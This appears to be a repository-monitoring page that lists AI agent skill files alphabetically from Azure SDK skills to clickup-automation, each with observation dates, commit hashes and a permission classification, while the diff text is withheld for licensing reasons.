Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-search-documents-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-security-keyvault-keys-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-security-keyvault-keys-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-security-keyvault-secrets-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-servicebus-dotnet/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-servicebus-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-servicebus-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-speech-to-text-rest-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-storage-blob-java/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-storage-blob-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-storage-blob-rust/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-storage-blob-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-storage-file-datalake-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-storage-file-share-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-storage-file-share-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-storage-queue-py/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-storage-queue-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/azure-web-pubsub-ts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/backend-architect/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/backend-dev-guidelines/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/backend-development-feature-development/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/backend-security-coder/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/backtesting-frameworks/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/bamboohr-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/basecamp-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/bash-defensive-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Local scripts
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/bash-linux/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/bash-pro/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/bats-testing-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/bazel-build-optimization/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/beautiful-prose/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/behavioral-modes/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/billing-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/binary-analysis-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/bitbucket-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/blockchain-developer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/blockrun/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/box-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/brainstorming/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/brand-guidelines-anthropic/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/brand-guidelines-community/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/brevo-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/broken-authentication/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/browser-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/browser-extension-builder/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/bullmq-specialist/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/bun-development/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/burp-suite-testing/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/business-analyst/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/busybox-on-windows/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/c-pro/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/c4-architecture-c4-architecture/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/c4-code/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/c4-component/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/c4-container/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/c4-context/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/cal-com-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/calendly-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/canva-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/canvas-design/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/cc-skill-backend-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/cc-skill-clickhouse-io/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/cc-skill-coding-standards/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/cc-skill-continuous-learning/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Local scripts
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/cc-skill-frontend-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/cc-skill-project-guidelines-example/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/cc-skill-security-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/cc-skill-strategic-compact/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Local scripts
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/changelog-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/cicd-automation-workflow-automate/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/circleci-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/clarity-gate/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/claude-ally-health/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/claude-code-guide/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/claude-d3js-skill/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Local scripts
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/claude-scientific-skills/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/claude-speed-reader/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/claude-win11-speckit-update-skill/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/clean-code/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/clerk-auth/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
No earlier version was observed for comparison.
skills/clickup-automation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
5eea1bc9ead7 → 785befcaceec
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 5eea1bc9ead7
